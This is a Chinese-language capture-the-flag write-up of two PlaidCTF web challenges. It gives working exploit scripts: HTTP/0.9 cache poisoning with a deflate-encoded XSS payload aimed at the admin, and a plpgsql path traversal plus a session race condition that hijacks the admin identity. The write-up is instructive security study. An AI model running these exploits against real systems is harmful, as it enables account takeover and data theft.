plaidCTF兩道web題目writeup
國際賽就是好玩,這兩個web題目都還挺有意思的,目前還沒有官方的writeup放出,只放出了exp
https://gist.github.com/junorouse/ca0c6cd2b54dce3f3ae67e7121a70ec7 ,感興趣的可以去看看這個兩個題目。
第一個web題目:
potent Quotables Web (300 pts) I set up a little quotes server so that we can all share our favorite quotes with each other. I wrote it in Flask, but I decided that since it's mostly static content anyway, I should probably put some kind of caching layer in front of it, so I wrote a caching reverse proxy. It all seems to be working well, though I do get this weird error when starting up the server: * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. I'm sure that's not important. Oh, and don't bother trying to go to the /admin page, that's not for you. No solvers yet http://quotables.pwni.ng:1337/
第二個web題目:
I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections. "Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?" And so on that glorious day it came to be that everything ran in plpgsql. http://triggered.pwni.ng:52856/
本文章就是基於這個exp還有我們當時的做題的一些想法,來講解一下這兩個題目中用到的知識。
0x2 Potent Quotables
題目功能簡單說明
http://quotables.pwni.ng:1337/
根據題目提示,這是用flask寫的web服務,並且他直接使用的是 flask's built-in server
,並沒有使用flask的一些生產環境的部署方案。
題目的功能也比較簡單主要有如下功能:
1. 建立Quote 2. 檢視Quote 3. 給Quote投票 4. 傳送一個連結給管理員,發起一個report 5. 檢視提交給管理員的report,是否被管理員處理
主要的API介面如下:
http://quotables.pwni.ng:1337/api/featured# 檢視所有的note,支援GET和POST http://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e#檢視一個note,支援GET和POST http://quotables.pwni.ng:1337/api/score/ba7a0334-2843-4f5e-b434-a85f06d790f1# 檢視一個note現在的票數,支援GET和POST http://quotables.pwni.ng:1337/api/report/66fa60f2-efee-4b7d-96ab-4c557fbee63a # 檢視某個report現在的狀態,支援GET和POST http://quotables.pwni.ng:1337/api/flag# 獲取flag的api,只能管理員通過POST訪問
功能性的頁面有如下
http://quotables.pwni.ng:1337/quote#c996b56d-f6de-4ce1-8288-939ed2b381f3 http://quotables.pwni.ng:1337/report#9bd72d5e-4e6b-4c4e-985a-978fc30ff491 http://quotables.pwni.ng:1337/quotes/new http://quotables.pwni.ng:1337/
建立的quote都是被html實體編碼的,web層面上沒有什麼問題,但是題目還給提供了一個二進位制,是一個具有快取功能的代理,看一下主要功能。
發生快取和命中快取的時機
下面簡單看一下二進位制部分的程式碼(不要問我怎麼逆的,全是隊友的功勞):
main函式裡面,首先監聽埠,然後進入 while True
的迴圈,不停的從接受socket連線,開啟新的執行緒處理髮來的請求


下面看處理請求的過程:

首先獲取使用者請求的第一行,然後用空格分割,分別儲存請求型別,請求路徑和HTTP的版本資訊。
接下來去解析請求頭,每次讀取一行,用 : 分割,parse 請求頭。
while ( 1 )// parse headers { while ( 1 ) { n = get_oneline((__int64)reqbodycontentbuffer, &buf_0x2000, 8192uLL); if ( (n & 0x8000000000000000LL) != 0LL ) { fwrite("IO Error: readline failed.Exiting.\n", 1uLL, 0x25uLL, stderr); exit(2); } if ( n != 8191 ) break; flag = 1; } if ( (signed __int64)n <= 2 ) break; v37 = (const char *)malloc(0x2000uLL); if ( !v37 ) { fwrite("Allocation Error: malloc failed.Exiting.\n", 1uLL, 0x2BuLL, stderr); exit(2); } v38 = (const char *)malloc(0x2000uLL); if ( !v38 ) { fwrite("Allocation Error: malloc failed.Exiting.\n", 1uLL, 0x2BuLL, stderr); exit(2); } if ( (signed int)__isoc99_sscanf((__int64)&buf_0x2000, (__int64)"%[^: ]: %[^\r\n]", (__int64)v37, (__int64)v38, v2) <= 1 ) { flag = 1; break; } move_content_destbuf((__int64)request_hchi_buffer, v37, v38); }
接下來判斷請求是否被cache了,如果被cache了,就直接從從cache中拿出響應回覆給客戶端,檢查條件是
GET
如果沒有被cache,就修改請求頭的部分欄位,連線服務端,獲取響應。
如果是 GET 請求,並且響應是 HTTP/1.0 200 OK
就cache這個響應
對於二進位制的我們就看這麼多邏輯,至於存在的記憶體leak的漏洞(非預期解就是利用記憶體leak來讀取flag的),就交給有能力的二進位制小夥伴分析吧。
利用 http/0.9 進行快取投毒
根據上面的分析,我們知道,如果我們是 GET
請求,並且此請求的返回狀態是 HTTP/1.0 200 OK
此請求就會被快取下來,下一次再使用相同的路徑訪問的時候,就會命中cache。
但是獲取flag卻必須是一個 post 請求,即便使用CSRF讓管理員訪問了flag介面,但是flag還是沒有辦法被cache的。
所以要想從web層面做這個題目,就必須找到xss漏洞。但是我們的輸入都被html實體編碼了,而且網站也沒有別的複雜的功能了,似乎一切似乎陷入了僵局。
不過您是否還記得前面我列出介面的時候,後面專門寫了這個介面支援哪些請求方式? 所以那些支援GET的介面的內容都是可以被cache的,其中 http://quotables.pwni.ng:1337/api/quote/{id}
這個介面的響應體的是我們可以最大程度控制的(但不是完全控制,因為有html實體編碼)。 當我們使用 GET
方式訪問一下這個介面之後,這個響應就會被cache。
➜pCTF git:(master) ✗http -vhttp://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e GET /api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate Connection: keep-alive Host: quotables.pwni.ng:1337 User-Agent: HTTPie/0.9.9 HTTP/1.0 200 OK Content-Length: 89 Content-Security-Policy: default-src 'none'; script-src 'nonce-tVMdKPgvSJPuHQl9FN4Ulw=='; style-src 'self'; img-src 'self'; connect-src 'self' Content-Type: text/plain; charset=utf-8 Date: Mon, 15 Apr 2019 07:53:12 GMT Server: Werkzeug/0.15.2 Python/3.6.7 Rendering very large 3D models is a difficult problem. It s all a big mesh.
這裡我們也是僅僅可以部分控制響應體,卻沒法控制響應頭,並且很關鍵的一點是響應頭裡面的 Content-Type
是 text/plain
,所以根本沒辦法利用。
但是請試想,如果我們也可以控制響應頭了,那我們可以攻擊的面一下子就打開了。至於控制響應頭之後怎麼進行攻擊一會再講,先考慮一下能否控制響應頭?
題目的exp中使用HTTP/0.9進行快取投毒,這裡真是長見識了。關於http/0.9的介紹可以看這裡 https://www.w3.org/Protocols/HTTP/AsImplemented.html ,很關鍵的一點是http/0.9沒有請求體,響應頭的概念。
可以看一下簡單的例子,我用flask’s built-in server起了一個web服務:
➜~ nc127.0.0.1 5000 GET / HTTP/0.9 Hello World!%
可以看到直接返回了ascii內容,沒有響應頭等複雜的東西。
到這裡我才終於明白,題目中的提示是啥意思,為啥他要用 flask's built-in server
了,因為只有這玩意才支援 http/0.9,
比如我們使用http/0.9訪問apache,和nginx,發現都會返回400
➜~ nc 127.0.0.1 80 GET / HTTP/0.9 HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2019 08:22:06 GMT Server: Apache/2.4.34 (Unix) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> </body></html>
➜~ nc 127.0.0.1 8081 GET / HTTP/0.9 HTTP/1.1 400 Bad Request Server: nginx/1.15.3 Date: Mon, 15 Apr 2019 08:22:37 GMT Content-Type: text/html Content-Length: 173 Connection: close <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.15.3</center> </body> </html>
我們可以利用 http/0.9 沒有響應頭的只有響應體的特點,去進行快取投毒。但是響應被cache有一個條件,就是響應必須是 HTTP/1.0 200 OK
的,所以正常的 http/0.9 的響應是沒有辦法被cache的,不過繞過很簡單,我們不是可以控制響應體嗎? 在響應體裡面偽造一個就好了。
偽造一個quote:
headers = { 'Origin': 'http://quotables.pwni.ng:1337', 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', } # just using ascii-zip wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4' data = { 'quote': 'HTTP/1.0 200 OK\r\nHTTP/1.0 302 OK\r\nContent-Encoding: deflate\r\nContent-Type: text/html;\r\nContent-Lexngth: {length}\r\n\r\n'.format(length=len(wow)) + wow, 'attribution': '' } response = requests.post('http://quotables.pwni.ng:1337/quotes/new', headers=headers, data=data) key = response.history[0].headers['Location'].split('quote#')[1] print(key)
此時這個quote的內容如下:
➜~ http -vhttp://quotables.pwni.ng:1337/api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad GET /api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate Connection: keep-alive Host: quotables.pwni.ng:1337 User-Agent: HTTPie/0.9.9 HTTP/1.0 200 OK Content-Length: 272 Content-Security-Policy: default-src 'none'; script-src 'nonce-N1Y7jw0BZ4o6qEL3UsNEJQ=='; style-src 'self'; img-src 'self'; connect-src 'self' Content-Type: text/plain; charset=utf-8 Date: Mon, 15 Apr 2019 08:33:07 GMT Server: Werkzeug/0.15.2 Python/3.6.7 HTTP/1.0 200 OK HTTP/1.0 302 OK Content-Encoding: deflate Content-Type: text/html; Content-Lexngth: 158 D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4 -
下面開始快取投毒:
from pwn import * # r = remote('quotables.pwni.ng', 1337) r.sendline('''GET /api/quote/{target} HTTP/0.9 Connection: keep-alive Host: quotables.pwni.ng:1337 Range: bytes=0-2 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Content-Transfer-Encoding: BASE64 Accept-Charset: iso-8859-15 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Proxy-Connection: close '''.replace('\n', '\r\n').format(target=key)) r.close()
進行快取投毒之後,此quote的響應如下:
~ curl -vhttp://quotables.pwni.ng:1337/api/quote/babead1b-05df-45a8-8c39-c04212b52bba *Trying 35.199.45.210... * TCP_NODELAY set * Connected to quotables.pwni.ng (35.199.45.210) port 1337 (#0) > GET /api/quote/babead1b-05df-45a8-8c39-c04212b52bba HTTP/1.1 > Host: quotables.pwni.ng:1337 > User-Agent: curl/7.54.0 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < HTTP/1.0 302 OK < Content-Encoding: deflate < Content-Type: text/html; < Content-Lexngth: 158 < D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4 * Closing connection 0 - %
這裡巧妙的利用了http/0.9和http/1.1的差異,使用 http/0.9寫快取,用http/1.1來讀快取。所以感覺安全的本質就是不一致性(瞎說的,逃。。。。)
利用瀏覽器的解碼能力
到這裡我們雖然可以完全控制響應頭了,但是因為quote的內容全部被html實體編碼了,所以僅可以部分控制響應體,導致依然沒有辦法進行xss攻擊。很容易想到如果我們可以把內容進行一次編碼,然後瀏覽器在訪問的時候會進行自動解碼,那麼就萬事大吉了。很幸運 Content-Encoding
就是來幹這個事情的。 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding
Content-Encoding 是一個實體訊息首部,用於對特定媒體型別的資料進行壓縮。當這個首部出現的時候,它的值表示訊息主體進行了何種方式的內容編碼轉換。這個訊息首部用來告知客戶端應該怎樣解碼才能獲取在 Content-Type 中標示的媒體型別內容。
例如如下:
from flask import Flask,make_response import zlib app = Flask(__name__) @app.route('/') def hello_world(): resp = make_response() resp.headers['Content-Encoding'] = 'deflate' resp.set_data(zlib.compress(b'<script>alert(1)</script>')) resp.headers['Content-Length'] = resp.content_length return resp if __name__ == '__main__': app.run(debug=False)
用curl請求,看到的是亂碼:
➜~ curl-v 127.0.0.1:5000 * Rebuilt URL to: 127.0.0.1:5000/ *Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 5000 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1:5000 > User-Agent: curl/7.54.0 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Content-Type: text/html; charset=utf-8 < Content-Encoding: deflate < Content-Length: 28 < Server: Werkzeug/0.15.2 Python/3.7.0 < Date: Mon, 15 Apr 2019 10:51:26 GMT < x��)N.�,(�K�I-*�0Դч * Closing connection 0 u�%
但是瀏覽器會進行解碼,然後彈框。
因為使用zlib壓縮之後,會變成不可見字元,這裡exp使用了另外一種叫做 ascii-zip 的編碼,也可以成功被瀏覽器解碼
詳情請參考 https://github.com/molnarg/ascii-zip
A deflate compressor that emits compressed data that is in the [A-Za-z0-9] ASCII byte range.
# just using ascii-zip wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4'
這樣就可以偽造任意響應了,exp給的payload被瀏覽器解碼之後如下圖所示:
這就樣就利用快取構造了一個存在xss漏洞的頁面,把這個連結發給管理員,就可以隨意xss了。
0x3 triggered
這是個程式碼審計題目,但是有毒的是題目所有的邏輯都是sql語句實現的,其中包括 HTTP 請求包解析,和業務邏輯處理,全是用觸發器來依次呼叫的。為了讓大家可以看到這個好玩的題目,我還把這個題目傳到了github上,方便大家學習 https://github.com/wonderkun/CTF_web/tree/master/web300-7
程式碼基本可以分為兩部分,前800行,主要負責http請求的解析,後面800行主要負責業務邏輯,來生成響應。
目錄穿越漏洞
在web.request 表上有這樣的一個觸發器用來處理靜態資源
CREATE TRIGGER route_static BEFORE INSERT ON web.request FOR EACH ROW WHEN (substring(NEW.path, 1, 8) = '/static/') EXECUTE PROCEDURE web.handle_static();
跟一下 handle_static
的程式碼如下:
CREATE FUNCTION web.handle_static() RETURNS trigger AS $$ BEGIN PERFORM web.serve_static(NEW.uid, substring(NEW.path, 9)); RETURN NEW; END; $$ LANGUAGE plpgsql; CREATE FUNCTION web.serve_static(uid uuid, path text) RETURNS void AS $$ DECLARE dot_parts text[]; BEGIN SELECT regexp_split_to_array(path, '\.') INTO dot_parts; INSERT INTO web.response_header ( request_uid, key, value ) SELECT uid, 'Content-Type', mime_type FROM web.mime_type WHERE extension = dot_parts[array_length(dot_parts, 1)]; INSERT INTO web.response ( request_uid, status, status_text, body ) VALUES ( uid, 200, 'Ok', pg_read_file('triggered/static/' || path) ); END; $$ LANGUAGE plpgsql;
這裡直接使用了 pg_read_file('triggered/static/' || path)
, 顯然可以任意檔案讀取。
本地驗證:
但是不知道為啥在伺服器端卻不能成功,一直返回 500,具體原因還不太清楚。
session和cookie的管理
這個題目有個很讓人懷疑的地方就是他的登入流程,是分兩步的,先輸入使用者名稱,生成cookie和session,然後再輸入密碼,修改session為登入狀態,直接看程式碼就明白了。
CREATE FUNCTION web.handle_post_login() RETURNS TRIGGER AS $$ DECLARE form_username text; session_uid uuid; form_user_uid uuid; context jsonb; BEGIN SELECT web.get_form(NEW.uid, 'username') INTO form_username; SELECT web.get_cookie(NEW.uid, 'session')::uuid INTO session_uid;-- 查詢出來session id SELECT uid FROM web.user WHERE username = form_username INTO form_user_uid;-- 查詢出來使用者id IF form_user_uid IS NOT NULL THEN INSERT INTO web.session ( uid, user_uid, logged_in ) VALUES ( COALESCE(session_uid, uuid_generate_v4()), form_user_uid, FALSE ) ON CONFLICT (uid) DO UPDATE SET user_uid = form_user_uid, logged_in = FALSE RETURNING uid INTO session_uid; PERFORM web.set_cookie(NEW.uid, 'session', session_uid::text); PERFORM web.respond_with_redirect(NEW.uid, '/login/password'); ELSE PERFORM web.respond_with_redirect(NEW.uid, '/login'); END IF; RETURN NEW; END; $$ LANGUAGE plpgsql; ---------- GET /login/password CREATE FUNCTION web.handle_get_login_password() RETURNS TRIGGER AS $$ DECLARE session_uid uuid; logged_in boolean; username text; context jsonb; BEGIN SELECT web.get_cookie(NEW.uid, 'session')::uuid INTO session_uid; IF session_uid IS NULL THEN PERFORM web.respond_with_redirect(NEW.uid, '/login'); RETURN NEW; END IF; SELECT session.logged_in, usr.username FROM web.session session INNER JOIN web.user usr ON usr.uid = session.user_uid WHERE session.uid = session_uid INTO logged_in, username; IF logged_in THEN PERFORM web.respond_with_redirect(NEW.uid, '/login'); RETURN NEW; END IF; SELECT web.get_base_context(NEW.uid) || jsonb_build_object('username', username) INTO context; PERFORM web.respond_with_template(NEW.uid, 'login-password.html', context); RETURN NEW; END; $$ LANGUAGE plpgsql; CREATE FUNCTION web.handle_post_login_password() RETURNS TRIGGER AS $$ DECLARE form_password text; session_uid uuid; success boolean; BEGIN SELECT web.get_cookie(NEW.uid, 'session')::uuid INTO session_uid; IF session_uid IS NULL THEN PERFORM web.respond_with_redirect(NEW.uid, '/login'); RETURN NEW; END IF; SELECT web.get_form(NEW.uid, 'password') INTO form_password; IF form_password IS NULL THEN PERFORM web.respond_with_redirect(NEW.uid, '/login/password'); RETURN NEW; END IF; SELECT EXISTS ( SELECT * FROM web.user usr INNER JOIN web.session session ON usr.uid = session.user_uid WHERE session.uid = session_uid AND usr.password_hash = crypt(form_password, usr.password_hash) ) INTO success; IF success THEN UPDATE web.session SET logged_in = TRUE WHERE uid = session_uid; PERFORM web.respond_with_redirect(NEW.uid, '/'); ELSE PERFORM web.respond_with_redirect(NEW.uid, '/login/password'); END IF; RETURN NEW; END; $$ LANGUAGE plpgsql;
總結一下,操作如下:
- 獲取使用者提交的使用者名稱和儲存在cookie表中的 session_uid
- 根據使用者名稱,從 user表中查詢出來 form_user_uid
- 然後將 session_uid 和 form_user_uid 和為False的登入狀態寫入到 session表中,如果session_uid為空(就是使用者請求的時候不帶session),則為此使用者重新生成一個。 如果 session_uid 在資料庫中已經存在,就修改這個 session_uid 對應的 user_uid 為當前登入的使用者的id,登入狀態設定為false 。
- 接下來設定 cookie , 並跳轉到
/login/password
- 接下來是 post 到
/login/password
的處理流程,同樣是獲取session_uid
和使用者輸入的password , 然後把 user表和session表以user_uid相等為條件做一個連線,以 session_uid 和 password 為條件做一次查詢。 - 如果查詢到,就更新使用者的session為登入狀態
下面是驗證是否登入的程式碼如下:
CREATE FUNCTION web.is_logged_in(request_uid uuid) RETURNS boolean AS $$ DECLARE session_uid uuid; ret boolean; BEGIN SELECT web.get_cookie(request_uid, 'session')::uuid INTO session_uid; IF session_uid IS NULL THEN RETURN FALSE; END IF; SELECT logged_in FROM web.session WHERE uid = session_uid INTO ret; RETURN COALESCE(ret, FALSE); END; $$ LANGUAGE plpgsql;
這個過程存在一個競爭條件,如果使用者A使用session_A並處於登入狀態,此時使用者B也使用session_A進行登入(僅輸入使用者名稱),這時使用者B就可以修改資料庫中儲存的session_A對應的user_id,並將A設定為未登入狀態。 如果此時恰好A使用者在執行某個耗時的操作,並且已經執行過 is_logged_in
函式的校驗,那麼接下來A使用者的所有操作都是B使用者的身份執行的。
競爭條件的利用
因為這個競爭發生在 is_logged_in
函式執行之後,一次操作完成之前,所以時間視窗還是比較小的,所以要找一個相對來說比較耗時的操作。題目中有個搜尋操作,程式碼如下:
CREATE FUNCTION web.handle_post_search() RETURNS TRIGGER AS $$ DECLARE user_uid uuid; session_uid uuid; query_string text; query tsquery; context jsonb; BEGIN IF NOT web.is_logged_in(NEW.uid) THEN PERFORM web.respond_with_redirect(NEW.uid, '/login'); RETURN NEW; END IF; SELECT web.get_form(NEW.uid, 'query') INTO query_string; IF query_string IS NULL OR trim(query_string) = '' THEN PERFORM web.respond_with_redirect(NEW.uid, '/search'); RETURN NEW; END IF; BEGIN SELECT web.query_to_tsquery(query_string) INTO query; EXCEPTION WHEN OTHERS THEN PERFORM web.respond_with_redirect(NEW.uid, '/search'); RETURN NEW; END; SELECT web.get_cookie(NEW.uid, 'session')::uuid INTO session_uid; SELECT session.user_uid FROM web.session session WHERE session.uid = session_uid INTO user_uid; SELECT web.get_base_context(NEW.uid) INTO context; WITH notes AS ( SELECT jsonb_build_object( 'author', usr.username, 'title', note.title, 'content', note.content, 'date', to_char(note.date, 'HH:MIam on Month DD, YYYY') ) AS obj FROM web.note note INNER JOIN web.user usr ON note.author_uid = usr.uid WHERE usr.uid = user_uid AND note.search @@ query ) SELECT context || jsonb_build_object( 'search', query_string, 'results', COALESCE(jsonb_agg(notes.obj), '[]'::jsonb) ) FROM notes INTO context; PERFORM web.respond_with_template(NEW.uid, 'search.html', context); RETURN NEW; END; $$ LANGUAGE plpgsql;
按照剛才的分析,我們只需要傳送一個很長的 query_string,使得 web.query_to_tsquery(query_string)
的執行時間很長,在這個函式執行期間,在用admin身份帶上我們使用者的session去請求登入,就可以修改掉我們使用者的 user_id,接下里的操作就是以管理員身份執行的了:
SELECT session.user_uid FROM web.session session WHERE session.uid = session_uid INTO user_uid; SELECT web.get_base_context(NEW.uid) INTO context; WITH notes AS ( SELECT jsonb_build_object( 'author', usr.username, 'title', note.title, 'content', note.content, 'date', to_char(note.date, 'HH:MIam on Month DD, YYYY') ) AS obj FROM web.note note INNER JOIN web.user usr ON note.author_uid = usr.uid WHERE usr.uid = user_uid AND note.search @@ query )
構造適當的查詢語句,就可以查出flag。
最後的exp如下:
#!/usr/bin/python import requests import threading import time s = requests.session() def login(username): url = "http://triggered.pwni.ng:52856/login" data = {"username":username} res = s.post(url,data=data) print("[*] login with username") #print(res.text) def login_password(password): url = "http://triggered.pwni.ng:52856/login/password" data = {"password":password} res = s.post(url,data=data) print("[*] login with password") #print(res.text) def query(condition): url = "http://triggered.pwni.ng:52856/search" data = {"query":condition} while True: res = s.post(url,data=data) print("[*] query a note ...") if "no result" not in res.text: print(res.text) break elif res.status_code != 200 : break if __name__ == '__main__': login("test") login_password("123") t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,)) t1.start() # time.sleep(3) t2 = threading.Thread(target=login,args=("admin",)) t2.start()